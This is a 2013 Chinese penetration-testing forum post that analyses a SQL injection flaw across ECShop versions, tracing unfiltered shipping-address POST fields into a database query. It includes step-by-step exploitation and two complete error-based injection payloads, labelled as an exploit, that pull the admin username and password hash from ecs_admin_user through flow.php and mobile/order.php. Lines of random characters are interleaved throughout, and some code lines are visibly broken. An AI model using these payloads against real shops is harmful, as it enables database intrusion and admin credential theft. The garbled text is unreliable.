中国网络渗透测试联盟
标题:
ecshop全版本注入分析
[打印本页]
作者:
admin
时间:
2013-1-13 09:48
标题:
ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
6 e' K: m2 i- M' U# ?0 @8 l
4 [5 n7 i9 S# Y( x p6 R2 s
漏洞关键文件:
% }6 g& P* l) K2 j
$ l) D4 Z9 W( p8 X& r5 |
/includes/lib_order.php
4 }; S% I/ ^! l& k' Y
2 b% I7 N2 |/ R' N" w" J+ v+ E
关键函数:
8 z4 Y1 L: B+ D* \3 D
/ M$ M2 S4 k: Q7 n
0 R- S/ _9 a- _5 ?3 ^9 a
7 T3 a$ |) a; Q! @" s/ E9 T
01 function available_shipping_list($region_id_list)
2 }: f. X( I) e/ M7 v& H
' x% L2 {- v, K* t5 g* P+ l
02 {
8 K! q! c& D6 I) I) L- T' i/ x* W
- r, @0 R% U% r
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
# `$ c* o+ r j z* z
4 ?2 ~: A2 v# g) y
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
3 I. E( f. v5 A5 ^% e! D
' Q$ N: W: S5 g! D
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
1 S& H2 {7 o8 G9 l6 Q
6 z ?" l) r1 S* K
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
6 j. z2 \6 `7 @3 r4 K
6 W; N5 a! E1 M m
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
2 o% B& }0 n8 e; B6 M1 I
; H0 u! ]5 \- p1 ~/ F- Q, _! \) L6 h: V
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
, n: n* R+ C$ Z% y
% |4 }0 |1 n1 S0 q
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
4 ?% ^+ k5 f% H
9 Z' G! u9 r: `: e# k* j' T5 y
10
0 c# u& Y+ ]/ _* |
2 d4 w' H) Z! W6 w; h
11 return $GLOBALS['db']->getAll($sql);
, x6 A7 x8 B8 `+ W
! Z& n: M. J8 Q) ^+ ?9 r0 D
12 }
4 G0 C' U8 Z2 r+ c4 m E
" |2 f2 @2 @% }7 g6 j* n
显然对传入的参数没有任何过滤就带入了查询语句。
" |* I Z9 }/ D2 y
& k" Y4 o8 N. @$ I8 Q; q- _
下面我们追踪这个函数在flow.php中:
# ^9 E6 ^' }. V. X' O1 H/ ^$ s( y0 }
第531行:
: i9 a5 d' H0 D% ~$ ?
* W* Q9 K9 T* c2 Z" c2 z. R
1 $shipping_list = available_shipping_list($region);
3 x, m* Z" j8 \: j: R0 d% L
# y' D1 _9 W W9 |- i+ o# Q% ~' D
1 Y7 M/ b: R4 h. Z* i9 O
+ ^/ }/ y# {6 n
8 T- ]) n( m9 c# S6 r
$ a: T/ R3 U( m8 z- h. ]
再对传入变量进行追踪:
( z/ Q5 M, c- B6 m6 }( T& T4 H, u
7 Y+ Z' v/ q1 Z- [6 K3 h2 X$ ?
第530行:
5 \% `! y2 R$ M+ o5 T' J
+ {% O+ J* L7 A
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
3 ~+ z5 s% Q$ x3 Z
_1 \ x7 [: K! C4 k
# i$ r, B( o, ]/ O
% m0 x9 P5 t" k7 [- \
- k" ~# [* V1 I, }6 J5 x0 Z
: | I; l0 G' q9 `- G1 h5 k* d5 F
第473行:
1 Z3 `8 B1 I% }6 K
8 F- Y' M$ m( O: I) s% i v
1 $consignee = get_consignee($_SESSION['user_id']);
+ q+ H( s& l9 E: l. S! w8 ]
* G8 g* X3 @" S% @4 P' l$ M
到了一个关键函数:
. Q' U" i, |( U+ E- Q4 [
( J0 } D0 u% A. q6 t* [' w5 d
/includes/lib_order.php
6 d2 \9 O. h( o' i0 A0 F0 K
, k1 B+ ^0 Y, a1 K/ v
& U! N9 q4 z7 ~/ j% H8 ?/ x
- |6 S; } b: T: B _0 X
' i2 n7 |3 p+ B; Z/ v. y* c" {
( ^$ N& J9 j. z7 S+ r( m4 V
01 function get_consignee($user_id)
; i2 L1 {3 G% a6 \$ \ p
6 ]& s: H2 T4 P w, u
02 {
- W, | l% i& C8 T0 j$ P7 {
2 K$ L8 w& Z! f3 G% n! k; s; K& p
03 if (isset($_SESSION['flow_consignee']))
) A# h0 X* J: V! a$ v
3 V" \2 s. l1 H7 N' U. `
04 {
* W* W0 ?% [- c- }. o$ H: ~
! Y6 J4 |8 Q N
05 /* 如果存在session,则直接返回session中的收货人信息 */
& q0 E/ Q2 A- |+ T
' g5 C6 b, [% l: {& G, h; g- ^; M
06
: o$ ?/ C) ]4 D$ n: n, x
/ C) d9 j# H6 E
07 return $_SESSION['flow_consignee'];
- m7 t8 g; s9 i+ y+ r
g8 u$ t' G$ i( ?# R
08 }
$ |8 I# _ \3 p9 X# |1 B
+ [: Z" d8 g# e$ A2 a
09 else
) X: S2 e, M0 [2 ]4 i" S
: Q$ i- R7 R) L/ a+ j+ Q$ F0 {
10 {
3 v9 \. _) R( R/ C6 \5 F8 L, I
, k6 ~( {3 S: x/ [
11 /* 如果不存在,则取得用户的默认收货人信息 */
( N/ R8 h9 a; D; t6 U0 e: u7 d& S
* p" C8 Y5 m$ {: E9 \* ^
12 $arr = array();
/ R! m! t7 p9 _6 D; }5 O' {
' \, ]2 s6 X6 {
13
2 g) c$ N1 {) m1 L/ E& H
: r8 z5 g9 }4 @
14 if ($user_id > 0)
& |$ t- X8 N) R
8 a! l5 g4 K T8 ^2 S- ]: D$ }
15 {
& J( B5 p, g- P
% J a) A6 Q+ i6 D4 l
16 /* 取默认地址 */
H3 R0 Z2 V) j. j
7 ]( p/ o+ v8 a6 ^' ?
17 $sql = "SELECT ua.*".
5 z- o+ c3 w3 M% `/ ^/ `/ V7 [3 u* l
- H2 R7 c& n6 Y0 p' x
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
# S. d. s6 s, [: r; F; l |) ?. n8 U
7 j4 r. T. k$ x6 Z# j; n
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
9 V) V) L% m S" D8 @
: x) G1 e0 q2 \; [
20
6 z$ q( V$ t% L4 v! t1 T
T3 ^' j5 z& c$ \& r0 H" \
21 $arr = $GLOBALS['db']->getRow($sql);
! a4 @! k% u" z9 R3 z
: O( l5 ]' n! u2 P% t8 D: k
22 }
+ C/ i, t* b& N9 A8 y3 [, h0 ^
* R* n5 W4 W" G* o
23
4 z3 o& O# ^, u7 o# q0 ]
6 \) ^ e" c1 Q" @4 a% v
24 return $arr;
" N9 |6 d0 G# }
: T2 E9 c$ q+ X; f1 n \' }
25 }
7 D& ?; U* F" E* W. f! D" P
1 U0 q: z6 @5 c4 L+ ^
26 }
. o3 g1 v; V' r2 ?) L+ F" a/ \
0 E( T- e% _, b4 a4 W
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
/ W' u6 ? L+ } r; c3 t
' k- J7 C% y) @1 [
, \; V! p+ a6 x7 P) ?8 [
# v6 s! ]' ]5 n( L
关键点:
. Z9 {% ~0 l! A6 w
2 p$ E+ I' q% {9 ~( O
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
7 h- S' p! l) z: O& N j
, \& \" v" g2 _
这里对传入参数反转义存入$_SESSION中。
8 Y; e! J0 @; u
2 i% N+ i1 N7 J- a) p7 w( M5 n
+ n" _8 p' h6 Z0 l
$ f, |8 [, Z6 Q* Q" X$ K$ E6 h
然后看下:
6 Y3 ~+ _8 O8 n- p$ S
5 k' V) T! L* ~/ a3 C% T) i7 n
/ y# r. }; r0 w/ p5 i' G
# |2 r4 L* `4 P% C
4 a" G) f; s ~% v! m( g
+ z$ {/ e; Z) |! J) J
01 $consignee = array(
' {# h, ^5 N( |: N0 L1 R
6 H* r: f+ c) g3 C' V5 |( f
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
+ U. Y4 U' i3 K; Q: E" B
$ J9 r+ A( Y' e+ u
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
N2 r& E. \1 @
& A L0 S$ J2 D
04 'country' => empty($_POST['country']) ? ''
_POST['country'],
9 p( @3 ]% j7 I* W# M$ M4 L
" T# q9 R* S/ I5 g$ V
05 'province' => empty($_POST['province']) ? ''
_POST['province'],
6 h- l3 W! x G
( y5 k) l4 z, P- w, P3 _7 M% Z
06 'city' => empty($_POST['city']) ? ''
_POST['city'],
5 a0 b! d, a! ~
& G: M# u& m r3 I3 R
07 'district' => empty($_POST['district']) ? ''
_POST['district'],
4 R$ n6 u X+ T [ K! m5 c& \" Y
% c) D* a( z5 K: r' N ~# J1 ]1 U' J
08 'email' => empty($_POST['email']) ? ''
_POST['email'],
3 l2 V1 P7 F6 p7 `# m
' V% j# F0 y; q/ `4 A
09 'address' => empty($_POST['address']) ? ''
_POST['address'],
% m. A9 Y A& ?" X- l- v/ U2 n
0 ~6 Q5 F7 P o1 G
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
2 E2 r: |6 }1 [; L0 d7 d9 G9 t; ~
2 v: y- X$ r$ [* m
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
" k: }" q# ]' G4 s5 A' U
. O; P, ^ z I: e; O; U
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
4 H/ d: @, M, X( \. W
9 O+ ^1 P% G- t
13 'sign_building' => empty($_POST['sign_building']) ? ''
_POST['sign_building'],
( f x c) ^/ E/ F& O: x* q
% v) L ^* ?+ y, V q" q9 p
14 'best_time' => empty($_POST['best_time']) ? ''
_POST['best_time'],
" Q' u/ i6 A4 z1 K
" v+ n/ m8 Z& N* R- M H1 p
15 );
% {8 C$ B& ]' R5 {9 E
) z( ~9 \& q9 B# p3 [2 v: v) r
好了注入就这样出现了。
1 V6 u, j& f* V* M1 i8 d& [+ k4 e
" W7 L$ h+ I1 q9 w5 t; o5 O6 T) G9 v
==================
+ Z. F% n$ S, Q
1 |: _" }1 p$ L6 a: L
注入测试:
5 X9 j' u# H- u5 d( Y" n
) R4 I: F$ v" r6 ~ l- @
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
8 X2 T j0 |; R: V$ Z5 n! e
& t/ Z3 F+ \1 Y% b/ x! V5 ]. I
测试程序:ECShop_V2.7.3_UTF8_release1106
! t$ s$ g5 ?) E
: x, N$ C$ `& ^% V: ]4 Q6 P
2 G/ ^& S' P- _+ F
! A ^9 Z2 l5 a& R+ ?/ V: p
1.首先需要点击一个商品加入购物车
( U4 m2 C% z% F9 u6 g
# i3 t$ q! A7 b1 A- j- U( q5 M
2.注册一个会员帐号
. i% Q5 {7 T' [. j4 O8 X0 z3 h
2 P0 x0 U: Y" X, \
3.post提交数据
4 _0 p1 R6 y9 ?1 C3 E
e r6 X' e+ \4 u: U6 o
- G! L' Q0 x7 z% E
1 J) O7 G1 W8 v
1
http://127.0.0.1/ecshop/flow.php
! Z, Q# g* L* V
2 n, h- D, F: t
2
d& f4 D+ I- b6 n. a
5 y# |1 G1 f& b5 ?: A; H
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
9 Y3 d& t G! n4 S6 a
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
4 c5 T- _) i1 f% v2 d6 c0 ^
5 ?7 r7 |1 O7 ]4 a/ V2 _6 t: E
我们搜寻关键函数function available_shipping_list()
# c. J' y6 }7 T7 f3 m) f
; a6 B8 I5 @1 ~! R' f2 a' G
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
* H& ]5 Y3 h8 X5 Y$ |( v
9 j$ i' ]% e4 ]) T3 |
利用exp:
& ]6 f$ i* T9 U3 w: j
# e- I5 r# s. A$ Q
1.点击一个商品,点击购买商标
- a0 ^1 a+ c1 y9 S
2 Y8 ]2 q7 Z1 d8 E: E
2.登录会员帐号
" L. _" E% S/ y( r
- }% \/ c! m, |/ h
3.post提交:
. m6 _5 n) {* B& S9 ~
* R! B, t( e. @
http://127.0.0.1/ecshop/mobile/order.php
* q! C( d( A; r# B
8 l9 ~5 s' O- N: S0 D" F
* L8 @. i" E3 V( U0 O$ j2 E
5 e4 w+ ?1 R/ m$ G7 ]3 u* M2 n
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
; N" \# t$ z8 M2 ?5 ~- ~+ P
- I1 z, v3 n2 Q% X- u0 `
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2